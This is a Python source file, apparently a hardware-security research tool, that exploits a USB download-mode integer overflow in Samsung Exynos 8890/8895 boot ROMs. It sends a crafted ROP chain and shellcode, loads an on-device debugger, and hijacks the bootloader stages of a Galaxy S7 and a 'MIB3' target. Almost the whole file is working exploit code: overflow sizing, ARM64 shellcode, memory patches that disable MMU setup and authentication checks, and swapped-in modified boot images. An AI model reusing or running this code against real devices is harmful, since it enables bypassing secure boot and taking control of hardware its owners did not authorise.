from exynos import *

logger = setup_logger("") #Leave empty to get root logger
logger.setLevel(logging.DEBUG)

BLOCK_SIZE = 512
CHUNK_SIZE = 0xfffe00
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) # 512, - 10 for ready (4), size (4), footer (2)

DL_BUFFER_START = 0x02021800
DL_BUFFER_SIZE = 0x4E800 #max allowed/usable size within the buffer, with end at 0x02070000

BOOTROM_START = 0x0
BOOTROM_SIZE = 0x20000 #128Kb

TARGET_OFFSETS = {
    # XFER_BUFFER,	RA_PTR, XFER_END_SIZE
    "8890": (0x02021800, 0x02020F08, 0x02070000), #0x206ffff on exynos 8890
    "8895": (0x02021800, 0x02020F18, 0x02070000)
}

def wait_for_device():
    while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is None:
        pass

def wait_disconnect():
    while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is not None:
        pass

ENDPOINT_BULK_IN = 0x81
ENDPOINT_BULK_OUT = 0x2

ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN)
cs = Cs(CS_ARCH_ARM64, CS_MODE_LITTLE_ENDIAN)

class S7Exploit(ExynosDevice):
    def __init__(self, idVendor=0x04e8, idProduct=0x1234):
        super().__init__(idVendor, idProduct)

    def send_empty_transfer(self):
        """Send an empty transfer (to not actually write data)"""
        transferred = ctypes.c_int()
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
        assert(res == 0)
        return transferred.value


    def send_normal_stage(self, payload):
        """Send next boot stage to the device"""
        # construct dl_data
        dpayload = struct.pack("<II", 0, (len(payload) + 8 + 2))
        dpayload = dpayload + payload + b"\x00" * 2 # add footer
        transferred = ctypes.c_int()
        for block in range(0, len(dpayload), BLOCK_SIZE):
            res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, dpayload[block:block + BLOCK_SIZE], len(dpayload[block:block + BLOCK_SIZE]), ctypes.byref(transferred), 0)
            assert res == 0, "Error sending payload"
        p_ok("Sent stage")


    def unsecure_boot(self, exploit=False):
        '''
        Do a normal boot process, with or without exploit.
        '''
        bl1 = open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read()
        bl31 = open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read()
        bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
        bl33 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
        if args.target == "MIB3":
            bl1 = open("../mib3/boot_partitions/fwbl1_a.bin", "rb").read()
            bl31 = open("../mib3/boot_partitions/el3_mon_a.bin", "rb").read()
            bl2 = open("../mib3/boot_partitions/bl2_a.bin", "rb").read()
            bl33 = open("../mib3/boot_partitions/u-boot_a.bin", "rb").read()
        off = bl31.find(b'Built')
        bl31 = bl31[:off] + b'Built' + bl31[off+len(b'Built'):]

        if exploit:
            self.exploit(open("../../dump/exynos-usbdl/payloads/Exynos8890_unsecure_boot_usb.bin", "rb").read())
            time.sleep(2)
            self.connect_device()
        self.send_normal_stage(bl1)
        time.sleep(2)
        self.connect_device()
        self.send_normal_stage(bl31)
        time.sleep(2)
        self.connect_device()
        self.send_normal_stage(bl2)
        time.sleep(2)
        self.connect_device()
        self.send_normal_stage(bl33)
        pass


    def exploit(self, payload: bytes):
        '''
        Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
        '''
        assert len(payload) <= MAX_PAYLOAD_SIZE, "Shellcode too big"

        current_offset = TARGET_OFFSETS[self.target][0]
        xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
        transferred = ctypes.c_int()

        size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 -  header(8) + data(n) + footer(2)
        #size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
        max_payload_size = 0x100000000 - size_to_overflow
        ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #

        # Assert that payload is 502 bytes
        payload = payload + ((max_payload_size - len(payload)) * b"\x00")
        assert len(payload) == max_payload_size, "Invalid payload. Size is wrong"

        # First send payload to trigger the bug
        bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
        bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
        assert res == 0, "Error triggering payload"
        assert transferred.value == len(bug_payload), "Invalid transfered size"
        current_offset += len(bug_payload) - 8  # Remove header

        cnt = 0
        while True:
            if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start:
                break
            self.send_empty_transfer()
            current_offset += CHUNK_SIZE
            cnt += 1
            if current_offset > 0x100000000:
                current_offset = current_offset - 0x100000000 #reset 32 byte integer
            print(f"{cnt} {hex(current_offset)}")

        remaining = (TARGET_OFFSETS[self.target][1] - current_offset)
        assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet"
        if remaining > BLOCK_SIZE:
            self.send_empty_transfer()
            # Send last transfer, TODO who aligns this ROM??
            current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE)
            cnt += 1
            print(f"{cnt} {hex(current_offset)}")

        # Build ROP chain.
        rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2)
        transferred = ctypes.c_int(0)
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0)
        assert res == 0, "Error sending ROP chain"
        return


    def setup_concrete_device(self, concrete_device : ConcreteDevice):
        #Setup architecture
        concrete_device.arch = QL_ARCH.ARM64
        concrete_device.ga_debugger_location = 0x2069000  # TODO, not used yet
        concrete_device.ga_vbar_location = 0x206d000 + 0x1000
        concrete_device.ga_storage_location = 0x206d000
        concrete_device.ga_stack_location = 0x206b000

        concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location)
        concrete_device.arch_dbg.read = self.usb_read
        concrete_device.arch_dbg.write = self.usb_write

        #Overwrite all calls to make the concrete target function properly
        concrete_device.copy_functions()


    def usb_debug(self):
        """
        Function to debug USB behaviour. Sends and receives data in continuous flow.
        """
        transferred = ctypes.c_int()
        # Send some data
        count = 0
        def _send_data():
            transferred.value = 0
            p = p32(count) + b"\xaa" * (0x200 - 4)
            res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100)
            assert res == 0, f"Error sending data ({res})"

        def _recv_data():
            transferred.value = 0
            buf = ctypes.c_buffer(b"", 0x200)
            res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
            assert res == 0, f"Error receiving data ({res})"
            hexdump(buf.raw)

        # Should have received some bytes
        while True:
            _send_data()
            _recv_data()
            count += 1


    def dump_memory(self, start: hex=0x0, end: hex=0x02070000, write=False):
        """
        Dumps memory from the device.

        Transfer XFER_BUFFER at 0x02021800, to: 0x02020F08. End of memory at 0x0206ffff.
        """
        dumped = b""
        # Read data from memory
        try:
            for block in tqdm.tqdm(range(start, end, 0x6000)):
                dump = self.cd.memdump_region(block, 0x6000)
                dumped += dump
        except:
            print("Error reading memory, at block: ", hex(block))
        return dumped


    def setup_guppy_debugger(self):
        """
        Sets up guppy debugger on the device itself.
        """

        def _setup_debugger():
            '''
            Setup the debugger as a concrete device
            '''
            self.cd = ConcreteDevice(None, False)
            self.cd.dev = self.setup_concrete_device(self.cd)
            self.cd.test_connection()


        def _initial_run_debugger():
            """Write debugger to device and test basic functionality"""
            ### Setup debugger
            if os.getenv("USER") == "eljakim":
                    debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
            else:
                try:
                    debugger = open("../../dump/debugger.bin", "rb").read()
                except Exception as e:
                    print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}')
                    sys.exit(0)

            debugger += ((0x2000 - len(debugger)) * b"\x00")
            assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size"
            for block in range(0, len(debugger), 0x200):
                self.usb_write(debugger[block:block+0x200])
            # time.sleep(.5) # Wait a little bit
            assert self.usb_read(0x200) == b"GiAs", "No response from debugger"

            # Test basic functionality
            self.usb_write(b"PING")
            r = self.usb_read(0x200)
            assert r == b"PONG", f"Invalid response from device: {r}"

        _initial_run_debugger()
        _setup_debugger()


    def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000, alternative_size=0x1000):
        """
        Relocates the debugger to another location. Make sure to have built the debugger with the correct addresses!

        Args:
            - debugger: The debugger to relocate. If None, it will use the default debugger.
            - entry: The entry point of the debugger.
            - storage: The storage location of the debugger.
            - g_data_received: The location of the data received.
        """
        if debugger is None:
            if os.getenv("USER") == "eljakim":
                debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read()
            else:
                try:
                    debugger_reloc = open("../../dump/reloc_debugger.bin", "rb").read()
                except Exception as e:
                    print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}')
                    sys.exit(0)
        else:
            debugger_reloc = debugger

        self.cd.memwrite_region(entry, debugger_reloc)
        # self.usb_write(b"FLSH") # Flush cache
        self.cd.restore_stack_and_jump(entry)
        assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
        self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000


    def disable_mmu(self, address=0x02060000):
        # ================= WORKS TO DISABLE DEBUGGER. BUT UNNECESSARY =================
        # Disable MMU and branch to 0x02048000
        shellcode=f"""
        mrs     x0, sctlr_el3
        bic     x0, x0, #1
        msr     sctlr_el3, x0
        ldr     x0, =0x2048000
        br      x0
        """
        shellcode = ks.asm(shellcode, as_bytes=True)[0]
        self.cd.memwrite_region(address, shellcode)
        self.cd.jump_to(address)
        time.sleep(1)
        self.usb_read(0x200) # GiAs
        self.cd.arch_dbg.fetch_special_regs()
        print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')


    def get_ttbr0_el3(self):
        """
        Get the TTBR0_EL3 register using opcode.
        """
        shellcode= f"""
        mov     x1, lr
        mrs     x0, ttbr0_el3
        ldr     x2, =0x206fd10
        str     x0, [x2]
        mov     lr, x1
        ret
        """
        shellcode = ks.asm(shellcode, as_bytes=True)[0]
        self.cd.memwrite_region(0x206ed10, shellcode)
        self.cd.jump_to(0x0206ed10)
        ttbr0 = u64(self.cd.memdump_region(0x0206fd10, 0x8))
        print(f"TTBR0_EL3: {hex(ttbr0)}")
        print(f"Bits: {ttbr0:064b}")

        # Overwrite it with 0's
        self.cd.memwrite_region(0x0206ed10, b"\x00" * 0x8)
        ttbr0 = self.cd.memdump_region(0x206ed10, 0x8)
        assert ttbr0 == b"\x00" * 0x8, "TTBR0_EL3 not overwritten"


    def test_write_execute(self, address, execute=True):
        """
        At given address, test if it is possible to write and execute code, by writing a simple jump to, and jump back.
        """
        self.usb_write(b'PING')
        assert self.usb_read(0x200) == b'PONG', "Debugger not alive before test"

        shellcode = f"""
        mov     x1, lr
        ret
        """

        shellcode = ks.asm(shellcode, as_bytes=True)[0]
        self.cd.memwrite_region(address, shellcode)
        if execute:
            self.cd.jump_to(address)
            self.usb_write(b"PING")
            assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger"
            print(f'Jumped to {hex(address)} and back')


    def print_registry_status(self):
        """Print potentially interesting registry status (statii?) of the device"""
        self.cd.arch_dbg.fetch_special_regs()
        print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
        print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}')
        print(f'VBAR_EL3: {hex(self.cd.arch_dbg.state.VBAR_EL3)}, VBAR_EL2: {hex(self.cd.arch_dbg.state.VBAR_EL2)}, VBAR_EL1: {hex(self.cd.arch_dbg.state.VBAR_EL1)}')
        print(f'TCR_EL3: {hex(self.cd.arch_dbg.state.TCR_EL3)}, TCR_EL2: {hex(self.cd.arch_dbg.state.TCR_EL2)}, TCR_EL1: {hex(self.cd.arch_dbg.state.TCR_EL1)}')
        print(f'SCTLR_EL3: {hex(self.cd.arch_dbg.state.SCTLR_EL3)}, SCTLR_EL2: {hex(self.cd.arch_dbg.state.SCTLR_EL2)}, SCTLR_EL1: {hex(self.cd.arch_dbg.state.SCTLR_EL1)}')
        print(f'MAIR_EL3: {hex(self.cd.arch_dbg.state.MAIR_EL3)}, MAIR_EL2: {hex(self.cd.arch_dbg.state.MAIR_EL2)}, MAIR_EL1: {hex(self.cd.arch_dbg.state.MAIR_EL1)}')
        print(f'Current EL: {hex(self.cd.arch_dbg.state.CURRENT_EL)}')



    def debugger_boot(self):
        """
        Boot into USB recovery mode using the debugger.
        """
        # Setup initial debugger
        self.setup_guppy_debugger()
        self.cd.arch_dbg.state.auto_sync = False
        self.cd.arch_dbg.state.auto_sync_special = False
        logger.debug('State after setting up initial debugger')
        self.cd.arch_dbg.state.print_ctx()
        DEBUGGER_ADDR = 0x2069000 # 0x2069000

        # Relocate debugger
        debugger = open("../../dump/reloc_debugger_0x11200000.bin", "rb").read()
        self.relocate_debugger(debugger=debugger, entry=0x11200000, storage=0x11203000, g_data_received=0x11204000)
        DEBUGGER_ADDR = 0x11200000

        # Load bootloader stages
        bl1 = open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read()
        bl31 = open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read()
        bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
        bl33 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
        if args.target == "MIB3":
            bl1 = open("../mib3/boot_partitions/fwbl1_a.bin", "rb").read()
            bl1 = open("../mib3/modified_boot/fwbl1_mod.bin", "rb").read()
            bl31 = open("../mib3/boot_partitions/el3_mon_a.bin", "rb").read()
            bl2 = open("../mib3/boot_partitions/bl2_a.bin", "rb").read()
            bl33 = open("../mib3/boot_partitions/u-boot_a.bin", "rb").read()
            bl33 = open("../mib3/modified_boot/u-boot_mod.bin", "rb").read()

        # Test debugger connection
        self.cd.test_connection()

        # ==== BL1 ====
        ### Overwrite boot_usb_ra to our debugger
        hijacked_usb_ra = self.cd.memdump_region(0x02020f60, 8)
        self.cd.memwrite_region(0x02020f60, p64(DEBUGGER_ADDR))

        ### Set link register and boot into the USB function
        BOOT_USB_FUNCTION = 0x000064e0
        self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
        self.cd.restore_stack_and_jump(BOOT_USB_FUNCTION)

        # Wait for device return (happens after each download)
        time.sleep(1)
        self.connect_device()

        # Send boot stage 1
        self.send_normal_stage(bl1)
        assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"

        # Setup jump and bl_auth
        AUTH_BL1 = 0x00012848 # Location of the authentication function
        def auth_bl1(lr=0x2069000, x0=1, x1=1):
            # Load the firmware
            self.cd.arch_dbg.state.X0 = x0
            self.cd.arch_dbg.state.X1 = x1
            self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
            self.cd.restore_stack_and_jump(AUTH_BL1)
            assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
            ### Check if authentication was successful - X0 should not be 0??
            # assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"

        # BL1 is loaded, now authenticate and patch it
        auth_bl1(DEBUGGER_ADDR)
        self.usb_write(b"FLSH") # Flush cache (Frederic does this..)

        # Hijack ROM download function
        hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
        self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31

        BL1_POINTER = 0x02021880
        if args.target == "MIB3":
            BL1_POINTER = 0x02021890

        self.cd.memwrite_region(BL1_POINTER, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))

        # Write a patch to BL1 in memory
        # self.cd.memwrite_region(0x2021800+bl1.find(b'2015'), b'2014')

        # Jump into BL1 (sboot.bin.1.bin)
        JUMP_BL1 = 0x000002c0
        def jump_bl1(lr):
            self.cd.arch_dbg.state.LR = lr
            self.cd.restore_stack_and_jump(JUMP_BL1)

        # And jump into BL1 to execute it
        jump_bl1(DEBUGGER_ADDR)

        # ==== BL31 ====
        # Assure that the debugger is still alive
        assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"

        # Get current LR, and store it. Then set LR to debugger.
        BL1_RA = self.cd.arch_dbg.state.LR
        self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
        self.cd.restore_stack_and_jump(hijacked_fun) # will jump back to debugger after downloading the next stage (before executing it)

        # After downloading the next stage, make sure the device reconnects
        time.sleep(2)
        self.connect_device()
        self.send_normal_stage(bl31)
        time.sleep(2)

        # Assure that the debugger is returning (obligatory assuration)
        self.usb_read(0x200) # GiAs

        # self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) # to restore the oginal boot flow, without getting back to the debugger

        # Set LR to continue boot flow
        self.cd.restore_stack_and_jump(BL1_RA)

        # Assure return to debugger
        time.sleep(2)
        self.usb_read(0x200) # GiAs
        # self.cd.memwrite_region(0x02031008, b"ELH") # Patch something in BL31

        # Get pointer to where BL31 returns to
        BL31_RA_PTR = self.cd.arch_dbg.state.LR

        self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
        TTBR0_EL3 = 0x02035600 # Zeroed out

        # Modifies/disables setting up MMU (but is set up eventually) -> MMU says 0x0 instead of 0x1, but still little access (and proper USB recovyer boot!?)
        MMU_CHECK = 0x0202a314
        if not args.target == "MIB3":
            MMU_CHECK = 0x020244e8
        self.cd.memwrite_region(MMU_CHECK, struct.pack('>I', 0x1f0c00f1)) # Change check to always be false

        # DWC3 OTG update mode -> Might be useful at some point?
        # self.cd.memwrite_region(0x02021580, struct.pack('>I', 0x00000000))

        # Jump into BL31 and execute it
        BL31_POINTER = 0x02024010
        if args.target == "MIB3":
            BL31_POINTER = 0x0202a010
            self.cd.restore_stack_and_jump(BL31_POINTER) #BL31_RA_PTR
        else:
            self.cd.restore_stack_and_jump(BL31_POINTER)

        # Obligatory reconnect and check of debugger
        time.sleep(2)
        self.connect_device()
        self.usb_read(0x200) # GiAs
        BL31_ra = self.cd.arch_dbg.state.LR

        self.print_registry_status()

        # self.cd.arch_dbg.fetch_special_regs() # -> Does not work with, "--MIB3" original debugger (?->memory overlap somewhere). Only with relocated debugger.
        VBAR_EL3 = self.cd.arch_dbg.state.VBAR_EL3

        self.test_write_execute(0x11207010)

        #if args.target == "MIB3":
        #    self.cd.arch_dbg.state.LR = DEBUGGER_ADDR

        if args.target == "MIB3":
            self.cd.memwrite_region(0x020553e4, b"\x1f\x50\x00\x71")
            self.cd.memwrite_region(0x020553f8, b"\x1f\x50\x00\x71")
            #self.cd.memwrite_region(0x02037108, b'\x40\x40\x40\x40')

        self.cd.restore_stack_and_jump(hijacked_fun) # Jumps to function that waits for next boot stage

        # ==== Stage 4 BL2 ====
        self.send_normal_stage(bl2)
        time.sleep(2)
        self.connect_device()
        self.usb_read(0x200) # GiAs

        self.print_registry_status()
        if args.target == "MIB3":
            print(f'Boot flag at 0x136d0184: {self.cd.memdump_region(0x136d0184, 0x4).hex()}')
            print(f'Boot flag at 0x206f82c: {self.cd.memdump_region(0x206f82c, 0x4).hex()}')
            print(f'Recovery boot flag: {self.cd.memdump_region(0x206f870, 0x4).hex()}')

            #self.cd.memwrite_region(0x206f82c, b'') # to restore the oginal boot flow, without getting back to the debugger

        # Restore bootflow
        print(self.cd.arch_dbg.state.print_ctx()) # X29 here determines where the 'authentication' is taking place
        BL33_ptr = self.cd.arch_dbg.state.X0
        BL33_LR = self.cd.arch_dbg.state.LR
        self.cd.arch_dbg.state.LR = DEBUGGER_ADDR

        # self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)
        # Disable this to keep access to the debugger after senindg the next stage
        #self.cd.arch_dbg.state.X23 = DEBUGGER_ADDR # TEMPORARY
    
        self.cd.restore_stack_and_jump(hijacked_fun)
        time.sleep(1)
        self.connect_device()

        # Add 00 to the end of bl33
        #bl33 += b"\x00"
        
        # Deconstruct every 4 bytes in bl33, and if it is a branch link to 0xcf0172dc, then try to modify it to be a proper branch link to 0xcf05dd6c
        # Initialize Capstone disassembler for ARM64
        
        self.send_normal_stage(bl33) # Never return/completes
        self.connect_device()
        self.usb_read(0x200)

        debugger = open("../../dump/reloc_debugger_0xce050000.bin", "rb").read()
        self.relocate_debugger(debugger=debugger, entry=0xce050000, storage=0xce053000, g_data_received=0xce054000)
        DEBUGGER_ADDR = 0xce050000

        # Change bootmode on S7 to SDCARD (allow normal booting, if pressing volume up)
        if not args.target == "MIB3":
            self.cd.memwrite_region(0x8f01dbdc, struct.pack('>I', 0x03030035))
            self.cd.memwrite_region(0x8f01dbe0, struct.pack('>I', 0x80f9ff34))

            # Move default values into registers
            self.cd.memwrite_region(0x8f021bac, struct.pack('>I', 0x20008052))
            self.cd.memwrite_region(0x8f021bdc, struct.pack('>I', 0x20008052))
            self.cd.memwrite_region(0x8f021bbc, struct.pack('>I', 0x20008052))

        # Jump into a different function that continues the boot flow (different than BL33_LR)
        BL33_AUTH = 0x02024e5c
        if args.target == "MIB3":
            self.cd.memwrite_region(0xcf08aa59, b"\x4c\x44\x46\x58") #58 was 57 in INIT print
            self.cd.memwrite_region(0xcf026b94, struct.pack('>I', 0x210000b4)) # Change bootmode to GPT
            BL33_AUTH = 0x202ae18 # BL33_LR

            # Don't write recovery mode status
            #self.cd.memwrite_region(0xcf05e2c0, b"\x50\xc7\xbf\x97")

            # Modify get_boot_info to always return 0 (not recovery)
            #self.cd.memwrite_region(0xcf053e24, struct.pack('>I', 0x00008252))

            # Modify branch link at smc call to go to debugger
            #self.cd.memwrite_region(0xcf05df9c, struct.pack('>I', 0x000da1f0))
            #self.cd.memwrite_region(0xcf05dfa4, struct.pack('>I', 0x1f2003d5)) 

            #self.cd.memwrite_region(0xcf05dff8, struct.pack('>I', 0x60af8092)) # modify smc call
            
            # Modifying return values to continue boot flow
            #self.cd.memwrite_region(0xcf05dea8, b"\xa0\x1f\x42\xf8")

        # Print boot info from cf4dfb28

        # Start boot from BL33
        self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
        self.cd.restore_stack_and_jump(BL33_AUTH)

        time.sleep(1)
        self.usb_read(0x200)

        print(f'Boot flag at 0x136d0184: {self.cd.memdump_region(0x136d0184, 0x4).hex()}')
        print(f'Boot flag at 0x206f82c: {self.cd.memdump_region(0x206f82c, 0x4).hex()}')
        print(f'Boot flags at 0x206f800: {self.cd.memdump_region(0x206f800, 0x90).hex()}')
        print(f'Boot flags at 0xcf4dfb28: {self.cd.memdump_region(0xcf4dfb28, 0x32).hex()}')

        self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
        self.cd.restore_stack_and_jump(BL33_AUTH)

        # Boot flags at 0xcf4dfb28
        #print(self.cd.memdump_region(0xcf4dfb28, 0x32).hex())
        #self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
        #self.cd.arch_dbg.state.X0 = 0x0
        #self.cd.restore_stack_and_jump(0xcf05dd00)
        #self.connect_device()
        #self.usb_read(0x200)

        self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
        self.cd.arch_dbg.state.X3 = 0x0
        self.cd.arch_dbg.state.X2 = 0x0
        self.cd.arch_dbg.state.X1 = 0x0
        self.cd.arch_dbg.state.X0 = 0xffffffffffffff06
        self.cd.restore_stack_and_jump(0xcf0538e4)
        time.sleep(1)
        self.connect_device()
        self.usb_read(0x200)

        # Print something over uart
        self.write_uart(DEBUGGER_ADDR, 0xcf4dfb58)

        # Try to continue the bootflow
        self.cd.restore_stack_and_jump(0xcf0052f8)

        pass


    def write_uart(self, DEBUGGER_ADDR, data_pointer):
        self.cd.arch_dbg.state.LR = DEBUGGER_ADDR

        curr_X0 = self.cd.arch_dbg.state.X0
        curr_X1 = self.cd.arch_dbg.state.X1

        self.cd.arch_dbg.state.X0 = data_pointer
        self.cd.arch_dbg.state.X1 = 0x0

        self.cd.restore_stack_and_jump(0xcf05dd6c)
        time.sleep(0.5)
        self.connect_device()
        self.usb_read(0x200)

        self.cd.arch_dbg.state.X0 = curr_X0
        self.cd.arch_dbg.state.X1 = curr_X1
        return
    

    def replace_functions(binary, fun_to_replace=0xcf047474, replacing_fun=0xcf0172dc, base=0xcf000000):
        """
        Initially written to replace any print function that did not print to UART to then print to UART (worked surprisingly, but did not print a lot of extra info.. (boot path)).
        """
        for i in tqdm.tqdm(range(0, len(binary), 4)):
            fourbytes = binary[i:i+4]

            for insn in cs.disasm(fourbytes, i):
                if insn.mnemonic == "bl":
                    try:
                        target_address = int(insn.op_str.strip('#'), 16) + base
                    except ValueError:
                        continue

                    if target_address == fun_to_replace:
                        print(f"Found bl to 0xcf02b54c at {hex(i)}. Modifying..")
                        new_target_address = replacing_fun
                        new_offset = new_target_address
                        new_bl_instruction = struct.pack('<I', new_offset)  # Pack as a 32-bit value
                        binary = binary[:i] + new_bl_instruction + binary[i+4:]


if __name__ == "__main__":
    arg = argparse.ArgumentParser("Exynos exploit")
    arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
    arg.add_argument("--unsecure-boot", action="store_true", help="Unsecure boot", default=False)
    arg.add_argument("--debugger-boot", action="store_true", help="Unsecure boot", default=False)
    arg.add_argument("--load_ga", action="store_true", help="Load Gupje debugger", default=False)
    arg.add_argument("--target", type=str, help="Target device", default="s7", choices=["S7", "MIB3"])

    args = arg.parse_args()
    exynos = S7Exploit()

    # Load json configs from config folder
    # config = open(f"config/{args.target}.json", "r").read()

    if args.debug:
        shellcode = open("../dwc3_test/dwc3.bin", "rb").read()
        exynos.exploit(shellcode)
        exynos.dump_memory(write=True)
        # exynos.usb_debug()
        sys.exit(0)

    elif args.unsecure_boot:
        exynos.unsecure_boot()
        sys.exit(0)

    stage1 = open("stage1/stage1.bin", "rb").read()
    exynos.exploit(stage1)

    if args.debugger_boot:
        exynos.debugger_boot()
        sys.exit(0)

    exynos.setup_guppy_debugger()
    if args.load_ga:
        info("Loaded gupje, exiting")
        sys.exit(0)
    exynos.dumb_interact()

    sys.exit(0)